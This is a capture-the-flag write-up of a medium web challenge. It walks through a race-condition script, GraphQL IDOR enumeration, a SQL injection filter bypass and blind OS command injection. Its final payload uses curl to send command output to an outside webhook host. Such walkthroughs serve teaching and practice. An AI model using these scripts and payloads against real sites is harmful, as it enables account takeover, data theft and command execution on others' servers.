My friend doesn't like this ctf challenge

author : Tanknight

Category: Web Exploitation

Difficulty: Medium

Points: 9999999999

Challenge Description: My friend doesn't like this ctf challenge.

1

reconnaissance

opening the challenge you will be greeted by a login page

after registering an account we can see that theres 3 pages Home, Ticket, Logout

2

Solve

after seeing the post i quickly went to studying and i suspected that this could mean it is vulnerable to a race condition

import asyncio
import aiohttp
async def send_like(session, url, headers, payload):
 async with session.post(url, json=payload, headers=headers) as response:
 return await response.json()
async def trigger_race_condition():
 url = "https://1948-180-242-69-201.ngrok-free.app/graphql"
 headers = {
 "Cookie":
"session=.eJwlzjsOwjAMANC7ZGaIHTtOepkq_gnWlk6Iu1OJCzy9T9nziPNZtvdxxaPs
Ly9bgWmOA1a6mKKhY13CK4CcOJdTEMFgVqoZfbQaIpNm05q1BhCEFK8ldVgcjd1YVPxmjwgDdv0XCjWjByCGRlphjAnJjcpd-Q64_hvevnAOXnL2g.Zz3DsA.Wv0Ads4bEzI5DjMnnzxGMfOSXbQ", # Replace with your
session cookie
 "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0)
Gecko/20100101 Firefox/132.0",
 "Content-Type": "application/json"
 }
 payload = {
 "query": "mutation { createLike(postId: 8) { message success post { likes } } }"
 }
 num_requests = 100
 async with aiohttp.ClientSession() as session:
 tasks = [send_like(session, url, headers, payload) for _ in
range(num_requests)]
 responses = await asyncio.gather(*tasks)
 for response in responses:
 print(response)

the code above will spam the like button and after we execute the code we gained more than 15 likes!

we now have access to the beta page that seems to be a ticket to report to the staff in the website after playing around with the page i found out how the app was adding the tickets so i asked chat gpt

now we understand that the website uses graphql

https://hasura.io/learn/graphql/intro-graphql/graphqlqueries/#:~:text=In%20GraphQL%2C%20you%20fetch%20data,specific%20data%20from%20the%20serv er.&text=We%20ask%20the%20server%20for,and%20%22%20title%20%22%20a%20field.arrow-up-right

after reading the page above we can now try to make a request to gain more data and possibly get an IDOR

i had an idea after thinking about idors i usually read and study stuff i found on linked in and this page reminded me some page that is misconfigured can actually give you data if the page doesnt recognize you let me explain

import requests
url = "https://1948-180-242-69-201.ngrok-free.app/graphql"
headers = {
 'Content-Type': 'application/json',
 'Cookie': 'your_session_cookie'
}
# Loop through different post IDs to test for IDOR
for post_id in range(1, 11): # Change this range to test more posts
 query = {
 "query": f"{{ post(id: {post_id}) {{ id title content author {{ id username }} isPrivate }} }}"
 }
 response = requests.post(url, json=query, headers=headers)
 print(f"Response for id {post_id}: {response.json()}")

while usually you would give the app your cookies and stuff why dont you just delete them and try to request again if the server is misconfigured we could actually bypass that

and look what we found!

we actually got the hidden data and its saying something about a hidden directory called super_hiddenDirectories2

this is whats inside the hidden directories that seems to be a log file for the login page

after bruteforcing the hashes we only found 1 hash that works

we now have the staff tag how cool was that?

and now we can actually see the hidden tickets after gaining a higher privilege

there was 2 interesting tickets one gave a link and the other was speaking about an endpoint called 2020-login-page

opening the link we dont need to talk about this

this was the login page that were given when enumerating i noticed that

the page actually says admin login page thats when i know were getting very close to solving this!

I realised that every time i used “OR 1” or if i used “1=” or if i use “--” or if i use “/*” i will get an error saying sql injection detected so i tried modifying my sqli attack using 5=5 so i tried giving a blank “5=5” and the server didnt give any error i tried “or 5” too and it didnt give any errors so from this we know that the server is just sanitizing the “OR 1=1” sql

Asep-Admin'or '5'='5

this was the payload that i created cause of the filters that the server used

and we actually got the admin account!

i was stuck on this part for a bit of time until the kind author gave me a hint

when i give the query a parameter the server says it has a syntax error and when i use whoami it will say query executed thats when i know that this challenge is about OS command injection but i couldnt see the output of these commands i started grinding and studying about stuff

the kind author kindly gave me another hint about webhook thats where i understand it now (I UNDERSTAND IT NOW)

i was thinking about using curl to send the output of the command to a request catcher

url/ ?query=curl -X POST -d "data=$(whoami)" https://webhook.site/3e20d15b-ac6f-4e6f-afb4-b80b93f72c4a

this is the payload that i use

BINGO!

we actually captured the incoming request from the server

we got the flag

FLAG{R4c3_Cond_Gr4phQL_IDOR_SQL1_Bl1nd_C0mmAND_1njeCT10N_Is_4_R3C1PE_F0R_D1s4st3r!!}

and solved the challenge!

Last updated